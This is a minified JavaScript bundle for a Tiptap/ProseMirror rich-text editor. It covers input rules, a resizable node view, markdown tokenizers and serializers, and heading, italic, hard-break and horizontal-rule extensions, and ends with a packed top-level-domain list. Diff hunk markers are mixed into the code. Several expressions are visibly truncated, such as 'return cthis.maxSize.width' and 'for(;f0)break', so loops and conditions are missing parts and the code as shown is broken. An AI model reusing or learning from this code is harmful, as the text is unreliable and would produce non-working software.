0,r)||{},{tr:i}=e,o=n.from;let c=n.to;const u=t.type.create(a);if(r[1]){const h=r[0].lastIndexOf(r[1]);let f=o+h;f>c?f=c:c=f+r[1].length;const m=r[0][r[0].length-1];i.insertText(m,o+r[0].length-1),i.replaceWith(f,c,u)}else if(r[0]){const h=t.type.isInline?o:o-1;i.insert(h,t.type.create(a)).delete(i.mapping.map(o),i.mapping.map(c))}i.scrollIntoView()},undoable:t.undoable})}function lx(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=e.doc.resolve(n.from),i=jt(t.getAttributes,void 0,r)||{};if(!a.node(-1).canReplaceWith(a.index(-1),a.indexAfter(-1),t.type))return null;e.tr.delete(n.from,n.to).setBlockType(n.from,n.from,t.type,i)},undoable:t.undoable})}function Al(t){return new Df({find:t.find,handler:({state:e,range:n,match:r,chain:a})=>{const i=jt(t.getAttributes,void 0,r)||{},o=e.tr.delete(n.from,n.to),u=o.doc.resolve(n.from).blockRange(),h=u&&o0(u,t.type,i);if(!h)return null;if(o.wrap(u,h),t.keepMarks&&t.editor){const{selection:m,storedMarks:g}=e,{splittableMarks:y}=t.editor.extensionManager,N=g||m.$to.parentOffset&&m.$from.marks();if(N){const w=N.filter(v=>y.includes(v.type.name));o.ensureMarks(w)}}if(t.keepAttributes){const m=t.type.name==="bulletList"||t.type.name==="orderedList"?"listItem":"taskList";a().updateAttributes(m,i).run()}const f=o.doc.resolve(n.from-1).nodeBefore;f&&f.type===t.type&&Ti(o.doc,n.from-1)&&(!t.joinPredicate||t.joinPredicate(r,f))&&o.join(n.from-1)},undoable:t.undoable})}var O6=t=>"touches"in t,D6=class{constructor(t){this.directions=["bottom-left","bottom-right","top-left","top-right"],this.minSize={height:8,width:8},this.preserveAspectRatio=!1,this.classNames={container:"",wrapper:"",handle:"",resizing:""},this.initialWidth=0,this.initialHeight=0,this.aspectRatio=1,this.isResizing=!1,this.activeHandle=null,this.startX=0,this.startY=0,this.startWidth=0,this.startHeight=0,this.isShiftKeyPressed=!1,this.lastEditableState=void 0,this.handleMap=new Map,this.handleMouseMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.clientX-this.startX,h=c.clientY-this.startY;this.handleResize(u,h)},this.handleTouchMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.touches[0];if(!u)return;const h=u.clientX-this.startX,f=u.clientY-this.startY;this.handleResize(h,f)},this.handleMouseUp=()=>{if(!this.isResizing)return;const c=this.element.offsetWidth,u=this.element.offsetHeight;this.onCommit(c,u),this.isResizing=!1,this.activeHandle=null,this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp)},this.handleKeyDown=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!0)},this.handleKeyUp=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!1)};var e,n,r,a,i,o;this.node=t.node,this.editor=t.editor,this.element=t.element,this.contentElement=t.contentElement,this.getPos=t.getPos,this.onResize=t.onResize,this.onCommit=t.onCommit,this.onUpdate=t.onUpdate,(e=t.options)!=null&&e.min&&(this.minSize={...this.minSize,...t.options.min}),(n=t.options)!=null&&n.max&&(this.maxSize=t.options.max),(r=t==null?void 0:t.options)!=null&&r.directions&&(this.directions=t.options.directions),(a=t.options)!=null&&a.preserveAspectRatio&&(this.preserveAspectRatio=t.options.preserveAspectRatio),(i=t.options)!=null&&i.className&&(this.classNames={container:t.options.className.container||"",wrapper:t.options.className.wrapper||"",handle:t.options.className.handle||"",resizing:t.options.className.resizing||""}),(o=t.options)!=null&&o.createCustomHandle&&(this.createCustomHandle=t.options.createCustomHandle),this.wrapper=this.createWrapper(),this.container=this.createContainer(),this.applyInitialSize(),this.attachHandles(),this.editor.on("update",this.handleEditorUpdate.bind(this))}get dom(){return this.container}get contentDOM(){var t;return(t=this.contentElement)!=null?t:null}handleEditorUpdate(){const t=this.editor.isEditable;t!==this.lastEditableState&&(this.lastEditableState=t,t?t&&this.handleMap.size===0&&this.attachHandles():this.removeHandles())}update(t,e,n){return t.type!==this.node.type?!1:(this.node=t,this.onUpdate?this.onUpdate(t,e,n):!0)}destroy(){this.isResizing&&(this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp),this.isResizing=!1,this.activeHandle=null),this.editor.off("update",this.handleEditorUpdate.bind(this)),this.container.remove()}createContainer(){const t=document.createElement("div");return t.dataset.resizeContainer="",t.dataset.node=this.node.type.name,t.style.display="flex",this.classNames.container&&(t.className=this.classNames.container),t.appendChild(this.wrapper),t}createWrapper(){const t=document.createElement("div");return t.style.position="relative",t.style.display="block",t.dataset.resizeWrapper="",this.classNames.wrapper&&(t.className=this.classNames.wrapper),t.appendChild(this.element),t}createHandle(t){const e=document.createElement("div");return e.dataset.resizeHandle=t,e.style.position="absolute",this.classNames.handle&&(e.className=this.classNames.handle),e}positionHandle(t,e){const n=e.includes("top"),r=e.includes("bottom"),a=e.includes("left"),i=e.includes("right");n&&(t.style.top="0"),r&&(t.style.bottom="0"),a&&(t.style.left="0"),i&&(t.style.right="0"),(e==="top"||e==="bottom")&&(t.style.left="0",t.style.right="0"),(e==="left"||e==="right")&&(t.style.top="0",t.style.bottom="0")}attachHandles(){this.directions.forEach(t=>{let e;this.createCustomHandle?e=this.createCustomHandle(t):e=this.createHandle(t),e instanceof HTMLElement||(console.warn(`[ResizableNodeView] createCustomHandle("${t}") did not return an HTMLElement. Falling back to default handle.`),e=this.createHandle(t)),this.createCustomHandle||this.positionHandle(e,t),e.addEventListener("mousedown",n=>this.handleResizeStart(n,t)),e.addEventListener("touchstart",n=>this.handleResizeStart(n,t)),this.handleMap.set(t,e),this.wrapper.appendChild(e)})}removeHandles(){this.handleMap.forEach(t=>t.remove()),this.handleMap.clear()}applyInitialSize(){const t=this.node.attrs.width,e=this.node.attrs.height;t?(this.element.style.width=`${t}px`,this.initialWidth=t):this.initialWidth=this.element.offsetWidth,e?(this.element.style.height=`${e}px`,this.initialHeight=e):this.initialHeight=this.element.offsetHeight,this.initialWidth>0&&this.initialHeight>0&&(this.aspectRatio=this.initialWidth/this.initialHeight)}handleResizeStart(t,e){t.preventDefault(),t.stopPropagation(),this.isResizing=!0,this.activeHandle=e,O6(t)?(this.startX=t.touches[0].clientX,this.startY=t.touches[0].clientY):(this.startX=t.clientX,this.startY=t.clientY),this.startWidth=this.element.offsetWidth,this.startHeight=this.element.offsetHeight,this.startWidth>0&&this.startHeight>0&&(this.aspectRatio=this.startWidth/this.startHeight),this.getPos(),this.container.dataset.resizeState="true",this.classNames.resizing&&this.container.classList.add(this.classNames.resizing),document.addEventListener("mousemove",this.handleMouseMove),document.addEventListener("touchmove",this.handleTouchMove),document.addEventListener("mouseup",this.handleMouseUp),document.addEventListener("keydown",this.handleKeyDown),document.addEventListener("keyup",this.handleKeyUp)}handleResize(t,e){if(!this.activeHandle)return;const n=this.preserveAspectRatio||this.isShiftKeyPressed,{width:r,height:a}=this.calculateNewDimensions(this.activeHandle,t,e),i=this.applyConstraints(r,a,n);this.element.style.width=`${i.width}px`,this.element.style.height=`${i.height}px`,this.onResize&&this.onResize(i.width,i.height)}calculateNewDimensions(t,e,n){let r=this.startWidth,a=this.startHeight;const i=t.includes("right"),o=t.includes("left"),c=t.includes("bottom"),u=t.includes("top");return i?r=this.startWidth+e:o&&(r=this.startWidth-e),c?a=this.startHeight+n:u&&(a=this.startHeight-n),(t==="right"||t==="left")&&(r=this.startWidth+(i?e:-e)),(t==="top"||t==="bottom")&&(a=this.startHeight+(c?n:-n)),this.preserveAspectRatio||this.isShiftKeyPressed?this.applyAspectRatio(r,a,t):{width:r,height:a}}applyConstraints(t,e,n){var r,a,i,o;if(!n){let h=Math.max(this.minSize.width,t),f=Math.max(this.minSize.height,e);return(r=this.maxSize)!=null&&r.width&&(h=Math.min(this.maxSize.width,h)),(a=this.maxSize)!=null&&a.height&&(f=Math.min(this.maxSize.height,f)),{width:h,height:f}}let c=t,u=e;return cthis.maxSize.width&&(c=this.maxSize.width,u=c/this.aspectRatio),(o=this.maxSize)!=null&&o.height&&u>this.maxSize.height&&(u=this.maxSize.height,c=u*this.aspectRatio),{width:c,height:u}}applyAspectRatio(t,e,n){const r=n==="left"||n==="right",a=n==="top"||n==="bottom";return r?{width:t,height:t/this.aspectRatio}:a?{width:e*this.aspectRatio,height:e}:{width:t,height:t/this.aspectRatio}}};function L6(t,e){const{selection:n}=t,{$from:r}=n;if(n instanceof Xe){const i=r.index();return r.parent.canReplaceWith(i,i+1,e)}let a=r.depth;for(;a>=0;){const i=r.index(a);if(r.node(a).contentMatchAt(i).matchType(e))return!0;a-=1}return!1}function _6(t){return t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&")}var z6={};S0(z6,{createAtomBlockMarkdownSpec:()=>$6,createBlockMarkdownSpec:()=>F6,createInlineMarkdownSpec:()=>G2,parseAttributes:()=>R0,parseIndentedBlocks:()=>cx,renderNestedMarkdownContent:()=>O0,serializeAttributes:()=>P0});function R0(t){if(!(t!=null&&t.trim()))return{};const e={},n=[],r=t.replace(/["']([^"']*)["']/g,h=>(n.push(h),`__QUOTED_${n.length-1}__`)),a=r.match(/(?:^|\s)\.([a-zA-Z][\w-]*)/g);if(a){const h=a.map(f=>f.trim().slice(1));e.class=h.join(" ")}const i=r.match(/(?:^|\s)#([a-zA-Z][\w-]*)/);i&&(e.id=i[1]);const o=/([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g;Array.from(r.matchAll(o)).forEach(([,h,f])=>{var m;const g=parseInt(((m=f.match(/__QUOTED_(\d+)__/))==null?void 0:m[1])||"0",10),y=n[g];y&&(e[h]=y.slice(1,-1))});const u=r.replace(/(?:^|\s)\.([a-zA-Z][\w-]*)/g,"").replace(/(?:^|\s)#([a-zA-Z][\w-]*)/g,"").replace(/([a-zA-Z][\w-]*)\s*=\s*__QUOTED_\d+__/g,"").trim();return u&&u.split(/\s+/).filter(Boolean).forEach(f=>{f.match(/^[a-zA-Z][\w-]*$/)&&(e[f]=!0)}),e}function P0(t){if(!t||Object.keys(t).length===0)return"";const e=[];return t.class&&String(t.class).split(/\s+/).filter(Boolean).forEach(r=>e.push(`.${r}`)),t.id&&e.push(`#${t.id}`),Object.entries(t).forEach(([n,r])=>{n==="class"||n==="id"||(r===!0?e.push(n):r!==!1&&r!=null&&e.push(`${n}="${String(r)}"`))}),e.join(" ")}function $6(t){const{nodeName:e,name:n,parseAttributes:r=R0,serializeAttributes:a=P0,defaultAttributes:i={},requiredAttributes:o=[],allowedAttributes:c}=t,u=n||e,h=f=>{if(!c)return f;const m={};return c.forEach(g=>{g in f&&(m[g]=f[g])}),m};return{parseMarkdown:(f,m)=>{const g={...i,...f.attributes};return m.createNode(e,g,[])},markdownTokenizer:{name:e,level:"block",start(f){var m;const g=new RegExp(`^:::${u}(?:\\s|$)`,"m"),y=(m=f.match(g))==null?void 0:m.index;return y!==void 0?y:-1},tokenize(f,m,g){const y=new RegExp(`^:::${u}(?:\\s+\\{([^}]*)\\})?\\s*:::(?:\\n|$)`),N=f.match(y);if(!N)return;const w=N[1]||"",v=r(w);if(!o.find(C=>!(C in v)))return{type:e,raw:N[0],attributes:v}}},renderMarkdown:f=>{const m=h(f.attrs||{}),g=a(m),y=g?` {${g}}`:"";return`:::${u}${y} :::`}}}function F6(t){const{nodeName:e,name:n,getContent:r,parseAttributes:a=R0,serializeAttributes:i=P0,defaultAttributes:o={},content:c="block",allowedAttributes:u}=t,h=n||e,f=m=>{if(!u)return m;const g={};return u.forEach(y=>{y in m&&(g[y]=m[y])}),g};return{parseMarkdown:(m,g)=>{let y;if(r){const w=r(m);y=typeof w=="string"?[{type:"text",text:w}]:w}else c==="block"?y=g.parseChildren(m.tokens||[]):y=g.parseInline(m.tokens||[]);const N={...o,...m.attributes};return g.createNode(e,N,y)},markdownTokenizer:{name:e,level:"block",start(m){var g;const y=new RegExp(`^:::${h}`,"m"),N=(g=m.match(y))==null?void 0:g.index;return N!==void 0?N:-1},tokenize(m,g,y){var N;const w=new RegExp(`^:::${h}(?:\\s+\\{([^}]*)\\})?\\s*\\n`),v=m.match(w);if(!v)return;const[k,C=""]=v,E=a(C);let T=1;const I=k.length;let O="";const L=/^:::([\w-]*)(\s.*)?/gm,R=m.slice(I);for(L.lastIndex=0;;){const D=L.exec(R);if(D===null)break;const z=D.index,Z=D[1];if(!((N=D[2])!=null&&N.endsWith(":::"))){if(Z)T+=1;else if(T-=1,T===0){const ne=R.slice(0,z);O=ne.trim();const fe=m.slice(0,I+z+D[0].length);let xe=[];if(O)if(c==="block")for(xe=y.blockTokens(ne),xe.forEach($=>{$.text&&(!$.tokens||$.tokens.length===0)&&($.tokens=y.inlineTokens($.text))});xe.length>0;){const $=xe[xe.length-1];if($.type==="paragraph"&&(!$.text||$.text.trim()===""))xe.pop();else break}else xe=y.inlineTokens(O);return{type:e,raw:fe,attributes:E,content:O,tokens:xe}}}}}},renderMarkdown:(m,g)=>{const y=f(m.attrs||{}),N=i(y),w=N?` {${N}}`:"",v=g.renderChildren(m.content||[],` `);return`:::${h}${w} @@ -693,7 +693,7 @@ ${v} :::`}}}function B6(t){if(!t.trim())return{};const e={},n=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let r=n.exec(t);for(;r!==null;){const[,a,i,o]=r;e[a]=i||o,r=n.exec(t)}return e}function V6(t){return Object.entries(t).filter(([,e])=>e!=null).map(([e,n])=>`${e}="${n}"`).join(" ")}function G2(t){const{nodeName:e,name:n,getContent:r,parseAttributes:a=B6,serializeAttributes:i=V6,defaultAttributes:o={},selfClosing:c=!1,allowedAttributes:u}=t,h=n||e,f=g=>{if(!u)return g;const y={};return u.forEach(N=>{const w=typeof N=="string"?N:N.name,v=typeof N=="string"?void 0:N.skipIfDefault;if(w in g){const k=g[w];if(v!==void 0&&k===v)return;y[w]=k}}),y},m=h.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");return{parseMarkdown:(g,y)=>{const N={...o,...g.attributes};if(c)return y.createNode(e,N);const w=r?r(g):g.content||"";return w?y.createNode(e,N,[y.createTextNode(w)]):y.createNode(e,N,[])},markdownTokenizer:{name:e,level:"inline",start(g){const y=c?new RegExp(`\\[${m}\\s*[^\\]]*\\]`):new RegExp(`\\[${m}\\s*[^\\]]*\\][\\s\\S]*?\\[\\/${m}\\]`),N=g.match(y),w=N==null?void 0:N.index;return w!==void 0?w:-1},tokenize(g,y,N){const w=c?new RegExp(`^\\[${m}\\s*([^\\]]*)\\]`):new RegExp(`^\\[${m}\\s*([^\\]]*)\\]([\\s\\S]*?)\\[\\/${m}\\]`),v=g.match(w);if(!v)return;let k="",C="";if(c){const[,T]=v;C=T}else{const[,T,I]=v;C=T,k=I||""}const E=a(C.trim());return{type:e,raw:v[0],content:k.trim(),attributes:E}}},renderMarkdown:g=>{let y="";r?y=r(g):g.content&&g.content.length>0&&(y=g.content.filter(k=>k.type==="text").map(k=>k.text).join(""));const N=f(g.attrs||{}),w=i(N),v=w?` ${w}`:"";return c?`[${h}${v}]`:`[${h}${v}]${y}[/${h}]`}}}function cx(t,e,n){var r,a,i,o;const c=t.split(` `),u=[];let h="",f=0;const m=e.baseIndentSize||2;for(;f0)break;if(g.trim()===""){f+=1,h=`${h}${g} `;continue}else return}const N=e.extractItemData(y),{indentLevel:w,mainContent:v}=N;h=`${h}${g} -`;const k=[v];for(f+=1;f_.trim()!=="");if(L===-1)break;if((((a=(r=c[f+1+L].match(/^(\s*)/))==null?void 0:r[1])==null?void 0:a.length)||0)>w){k.push(I),h=`${h}${I} +`;const k=[v];for(f+=1;fz.trim()!=="");if(L===-1)break;if((((a=(r=c[f+1+L].match(/^(\s*)/))==null?void 0:r[1])==null?void 0:a.length)||0)>w){k.push(I),h=`${h}${I} `,f+=1;continue}else break}if((((o=(i=I.match(/^(\s*)/))==null?void 0:i[1])==null?void 0:o.length)||0)>w)k.push(I),h=`${h}${I} `,f+=1;else break}let C;const E=k.slice(1);if(E.length>0){const I=E.map(O=>O.slice(w+m)).join(` `);I.trim()&&(e.customNestedParser?C=e.customNestedParser(I):C=n.blockTokens(I))}const T=e.createToken(N,C);u.push(T)}if(u.length!==0)return{items:u,raw:h}}function O0(t,e,n,r){if(!t||!Array.isArray(t.content))return"";const a=typeof n=="function"?n(r):n,[i,...o]=t.content,c=e.renderChildren([i]),u=[`${a}${c}`];return o&&o.length>0&&o.forEach(h=>{const f=e.renderChildren([h]);if(f){const m=f.split(` @@ -733,7 +733,7 @@ ${n} `):""}),o7=Cn.create({name:"hardBreak",markdownTokenName:"br",addOptions(){return{keepMarks:!0,HTMLAttributes:{}}},inline:!0,group:"inline",selectable:!1,linebreakReplacement:!0,parseHTML(){return[{tag:"br"}]},renderHTML({HTMLAttributes:t}){return["br",St(this.options.HTMLAttributes,t)]},renderText(){return` `},renderMarkdown:()=>` `,parseMarkdown:()=>({type:"hardBreak"}),addCommands(){return{setHardBreak:()=>({commands:t,chain:e,state:n,editor:r})=>t.first([()=>t.exitCode(),()=>t.command(()=>{const{selection:a,storedMarks:i}=n;if(a.$from.parent.type.spec.isolating)return!1;const{keepMarks:o}=this.options,{splittableMarks:c}=r.extensionManager,u=i||a.$to.parentOffset&&a.$from.marks();return e().insertContent({type:this.name}).command(({tr:h,dispatch:f})=>{if(f&&u&&o){const m=u.filter(g=>c.includes(g.type.name));h.ensureMarks(m)}return!0}).run()})])}},addKeyboardShortcuts(){return{"Mod-Enter":()=>this.editor.commands.setHardBreak(),"Shift-Enter":()=>this.editor.commands.setHardBreak()}}}),l7=Cn.create({name:"heading",addOptions(){return{levels:[1,2,3,4,5,6],HTMLAttributes:{}}},content:"inline*",group:"block",defining:!0,addAttributes(){return{level:{default:1,rendered:!1}}},parseHTML(){return this.options.levels.map(t=>({tag:`h${t}`,attrs:{level:t}}))},renderHTML({node:t,HTMLAttributes:e}){return[`h${this.options.levels.includes(t.attrs.level)?t.attrs.level:this.options.levels[0]}`,St(this.options.HTMLAttributes,e),0]},parseMarkdown:(t,e)=>e.createNode("heading",{level:t.depth||1},e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>{var n;const r=(n=t.attrs)!=null&&n.level?parseInt(t.attrs.level,10):1,a="#".repeat(r);return t.content?`${a} ${e.renderChildren(t.content)}`:""},addCommands(){return{setHeading:t=>({commands:e})=>this.options.levels.includes(t.level)?e.setNode(this.name,t):!1,toggleHeading:t=>({commands:e})=>this.options.levels.includes(t.level)?e.toggleNode(this.name,"paragraph",t):!1}},addKeyboardShortcuts(){return this.options.levels.reduce((t,e)=>({...t,[`Mod-Alt-${e}`]:()=>this.editor.commands.toggleHeading({level:e})}),{})},addInputRules(){return this.options.levels.map(t=>lx({find:new RegExp(`^(#{${Math.min(...this.options.levels)},${t}})\\s$`),type:this.type,getAttributes:{level:t}}))}}),c7=Cn.create({name:"horizontalRule",addOptions(){return{HTMLAttributes:{},nextNodeType:"paragraph"}},group:"block",parseHTML(){return[{tag:"hr"}]},renderHTML({HTMLAttributes:t}){return["hr",St(this.options.HTMLAttributes,t)]},markdownTokenName:"hr",parseMarkdown:(t,e)=>e.createNode("horizontalRule"),renderMarkdown:()=>"---",addCommands(){return{setHorizontalRule:()=>({chain:t,state:e})=>{if(!L6(e,e.schema.nodes[this.name]))return!1;const{selection:n}=e,{$to:r}=n,a=t();return A2(n)?a.insertContentAt(r.pos,{type:this.name}):a.insertContent({type:this.name}),a.command(({state:i,tr:o,dispatch:c})=>{if(c){const{$to:u}=o.selection,h=u.end();if(u.nodeAfter)u.nodeAfter.isTextblock?o.setSelection(Ze.create(o.doc,u.pos+1)):u.nodeAfter.isBlock?o.setSelection(Xe.create(o.doc,u.pos)):o.setSelection(Ze.create(o.doc,u.pos));else{const f=i.schema.nodes[this.options.nextNodeType]||u.parent.type.contentMatch.defaultType,m=f==null?void 0:f.create();m&&(o.insert(h,m),o.setSelection(Ze.create(o.doc,h+1)))}o.scrollIntoView()}return!0}).run()}}},addInputRules(){return[q2({find:/^(?:---|—-|___\s|\*\*\*\s)$/,type:this.type})]}}),d7=/(?:^|\s)(\*(?!\s+\*)((?:[^*]+))\*(?!\s+\*))$/,u7=/(?:^|\s)(\*(?!\s+\*)((?:[^*]+))\*(?!\s+\*))/g,h7=/(?:^|\s)(_(?!\s+_)((?:[^_]+))_(?!\s+_))$/,f7=/(?:^|\s)(_(?!\s+_)((?:[^_]+))_(?!\s+_))/g,p7=Ao.create({name:"italic",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"em"},{tag:"i",getAttrs:t=>t.style.fontStyle!=="normal"&&null},{style:"font-style=normal",clearMark:t=>t.type.name===this.name},{style:"font-style=italic"}]},renderHTML({HTMLAttributes:t}){return["em",St(this.options.HTMLAttributes,t),0]},addCommands(){return{setItalic:()=>({commands:t})=>t.setMark(this.name),toggleItalic:()=>({commands:t})=>t.toggleMark(this.name),unsetItalic:()=>({commands:t})=>t.unsetMark(this.name)}},markdownTokenName:"em",parseMarkdown:(t,e)=>e.applyMark("italic",e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>`*${e.renderChildren(t)}*`,addKeyboardShortcuts(){return{"Mod-i":()=>this.editor.commands.toggleItalic(),"Mod-I":()=>this.editor.commands.toggleItalic()}},addInputRules(){return[Ml({find:d7,type:this.type}),Ml({find:h7,type:this.type})]},addPasteRules(){return[jo({find:u7,type:this.type}),jo({find:f7,type:this.type})]}});const m7="aaa1rp3bb0ott3vie4c1le2ogado5udhabi7c0ademy5centure6ountant0s9o1tor4d0s1ult4e0g1ro2tna4f0l1rica5g0akhan5ency5i0g1rbus3force5tel5kdn3l0ibaba4pay4lfinanz6state5y2sace3tom5m0azon4ericanexpress7family11x2fam3ica3sterdam8nalytics7droid5quan4z2o0l2partments8p0le4q0uarelle8r0ab1mco4chi3my2pa2t0e3s0da2ia2sociates9t0hleta5torney7u0ction5di0ble3o3spost5thor3o0s4w0s2x0a2z0ure5ba0by2idu3namex4d1k2r0celona5laycard4s5efoot5gains6seball5ketball8uhaus5yern5b0c1t1va3cg1n2d1e0ats2uty4er2rlin4st0buy5t2f1g1h0arti5i0ble3d1ke2ng0o3o1z2j1lack0friday9ockbuster8g1omberg7ue3m0s1w2n0pparibas9o0ats3ehringer8fa2m1nd2o0k0ing5sch2tik2on4t1utique6x2r0adesco6idgestone9oadway5ker3ther5ussels7s1t1uild0ers6siness6y1zz3v1w1y1z0h3ca0b1fe2l0l1vinklein9m0era3p2non3petown5ital0one8r0avan4ds2e0er0s4s2sa1e1h1ino4t0ering5holic7ba1n1re3c1d1enter4o1rn3f0a1d2g1h0anel2nel4rity4se2t2eap3intai5ristmas6ome4urch5i0priani6rcle4sco3tadel4i0c2y3k1l0aims4eaning6ick2nic1que6othing5ud3ub0med6m1n1o0ach3des3ffee4llege4ogne5m0mbank4unity6pany2re3uter5sec4ndos3struction8ulting7tact3ractors9oking4l1p2rsica5untry4pon0s4rses6pa2r0edit0card4union9icket5own3s1uise0s6u0isinella9v1w1x1y0mru3ou3z2dad1nce3ta1e1ing3sun4y2clk3ds2e0al0er2s3gree4livery5l1oitte5ta3mocrat6ntal2ist5si0gn4v2hl2iamonds6et2gital5rect0ory7scount3ver5h2y2j1k1m1np2o0cs1tor4g1mains5t1wnload7rive4tv2ubai3nlop4pont4rban5vag2r2z2earth3t2c0o2deka3u0cation8e1g1mail3erck5nergy4gineer0ing9terprises10pson4quipment8r0icsson6ni3s0q1tate5t1u0rovision8s2vents5xchange6pert3osed4ress5traspace10fage2il1rwinds6th3mily4n0s2rm0ers5shion4t3edex3edback6rrari3ero6i0delity5o2lm2nal1nce1ial7re0stone6mdale6sh0ing5t0ness6j1k1lickr3ghts4r2orist4wers5y2m1o0o0d1tball6rd1ex2sale4um3undation8x2r0ee1senius7l1ogans4ntier7tr2ujitsu5n0d2rniture7tbol5yi3ga0l0lery3o1up4me0s3p1rden4y2b0iz3d0n2e0a1nt0ing5orge5f1g0ee3h1i0ft0s3ves2ing5l0ass3e1obal2o4m0ail3bh2o1x2n1odaddy5ld0point6f2o0dyear5g0le4p1t1v2p1q1r0ainger5phics5tis4een3ipe3ocery4up4s1t1u0cci3ge2ide2tars5ru3w1y2hair2mburg5ngout5us3bo2dfc0bank7ealth0care8lp1sinki6re1mes5iphop4samitsu7tachi5v2k0t2m1n1ockey4ldings5iday5medepot5goods5s0ense7nda3rse3spital5t0ing5t0els3mail5use3w2r1sbc3t1u0ghes5yatt3undai7ibm2cbc2e1u2d1e0ee3fm2kano4l1m0amat4db2mo0bilien9n0c1dustries8finiti5o2g1k1stitute6urance4e4t0ernational10uit4vestments10o1piranga7q1r0ish4s0maili5t0anbul7t0au2v3jaguar4va3cb2e0ep2tzt3welry6io2ll2m0p2nj2o0bs1urg4t1y2p0morgan6rs3uegos4niper7kaufen5ddi3e0rryhotels6properties14fh2g1h1i0a1ds2m1ndle4tchen5wi3m1n1oeln3matsu5sher5p0mg2n2r0d1ed3uokgroup8w1y0oto4z2la0caixa5mborghini8er3nd0rover6xess5salle5t0ino3robe5w0yer5b1c1ds2ease3clerc5frak4gal2o2xus4gbt3i0dl2fe0insurance9style7ghting6ke2lly3mited4o2ncoln4k2ve1ing5k1lc1p2oan0s3cker3us3l1ndon4tte1o3ve3pl0financial11r1s1t0d0a3u0ndbeck6xe1ury5v1y2ma0drid4if1son4keup4n0agement7go3p1rket0ing3s4riott5shalls7ttel5ba2c0kinsey7d1e0d0ia3et2lbourne7me1orial6n0u2rckmsd7g1h1iami3crosoft7l1ni1t2t0subishi9k1l0b1s2m0a2n1o0bi0le4da2e1i1m1nash3ey2ster5rmon3tgage6scow4to0rcycles9v0ie4p1q1r1s0d2t0n1r2u0seum3ic4v1w1x1y1z2na0b1goya4me2vy3ba2c1e0c1t0bank4flix4work5ustar5w0s2xt0direct7us4f0l2g0o2hk2i0co2ke1on3nja3ssan1y5l1o0kia3rton4w0ruz3tv4p1r0a1w2tt2u1yc2z2obi1server7ffice5kinawa6layan0group9lo3m0ega4ne1g1l0ine5oo2pen3racle3nge4g0anic5igins6saka4tsuka4t2vh3pa0ge2nasonic7ris2s1tners4s1y3y2ccw3e0t2f0izer5g1h0armacy6d1ilips5one2to0graphy6s4ysio5ics1tet2ures6d1n0g1k2oneer5zza4k1l0ace2y0station9umbing5s3m1n0c2ohl2ker3litie5rn2st3r0axi3ess3ime3o0d0uctions8f1gressive8mo2perties3y5tection8u0dential9s1t1ub2w0c2y2qa1pon3uebec3st5racing4dio4e0ad1lestate6tor2y4cipes5d0stone5umbrella9hab3ise0n3t2liance6n0t0als5pair3ort3ublican8st0aurant8view0s5xroth6ich0ardli6oh3l1o1p2o0cks3deo3gers4om3s0vp3u0gby3hr2n2w0e2yukyu6sa0arland6fe0ty4kura4le1on3msclub4ung5ndvik0coromant12ofi4p1rl2s1ve2xo3b0i1s2c0b1haeffler7midt4olarships8ol3ule3warz5ience5ot3d1e0arch3t2cure1ity6ek2lect4ner3rvices6ven3w1x0y3fr2g1h0angrila6rp3ell3ia1ksha5oes2p0ping5uji3w3i0lk2na1gles5te3j1k0i0n2y0pe4l0ing4m0art3ile4n0cf3o0ccer3ial4ftbank4ware6hu2lar2utions7ng1y2y2pa0ce3ort2t3r0l2s1t0ada2ples4r1tebank4farm7c0group6ockholm6rage3e3ream4udio2y3yle4u0cks3pplies3y2ort5rf1gery5zuki5v1watch4iss4x1y0dney4stems6z2tab1ipei4lk2obao4rget4tamotors6r2too4x0i3c0i2d0k2eam2ch0nology8l1masek5nnis4va3f1g1h0d1eater2re6iaa2ckets5enda4ps2res2ol4j0maxx4x2k0maxx5l1m0all4n1o0day3kyo3ols3p1ray3shiba5tal3urs3wn2yota3s3r0ade1ing4ining5vel0ers0insurance16ust3v2t1ube2i1nes3shu4v0s2w1z2ua1bank3s2g1k1nicom3versity8o2ol2ps2s1y1z2va0cations7na1guard7c1e0gas3ntures6risign5mögensberater2ung14sicherung10t2g1i0ajes4deo3g1king4llas4n1p1rgin4sa1ion4va1o3laanderen9n1odka3lvo3te1ing3o2yage5u2wales2mart4ter4ng0gou5tch0es6eather0channel12bcam3er2site5d0ding5ibo2r3f1hoswho6ien2ki2lliamhill9n0dows4e1ners6me2olterskluwer11odside6rk0s2ld3w2s1tc1f3xbox3erox4ihuan4n2xx2yz3yachts4hoo3maxun5ndex5e1odobashi7ga2kohama6u0tube6t1un3za0ppos4ra3ero3ip2m1one3uerich6w2",g7="ελ1υ2бг1ел3дети4ею2католик6ом3мкд2он1сква6онлайн5рг3рус2ф2сайт3рб3укр3қаз3հայ3ישראל5קום3ابوظبي5رامكو5لاردن4بحرين5جزائر5سعودية6عليان5مغرب5مارات5یران5بارت2زار4يتك3ھارت5تونس4سودان3رية5شبكة4عراق2ب2مان4فلسطين6قطر3كاثوليك6وم3مصر2ليسيا5وريتانيا7قع4همراه5پاکستان7ڀارت4कॉम3नेट3भारत0म्3ोत5संगठन5বাংলা5ভারত2ৰত4ਭਾਰਤ4ભારત4ଭାରତ4இந்தியா6லங்கை6சிங்கப்பூர்11భారత్5ಭಾರತ4ഭാരതം5ලංකා4คอม3ไทย3ລາວ3გე2みんな3アマゾン4クラウド4グーグル4コム2ストア3セール3ファッション6ポイント4世界2中信1国1國1文网3亚马逊3企业2佛山2信息2健康2八卦2公司1益2台湾1灣2商城1店1标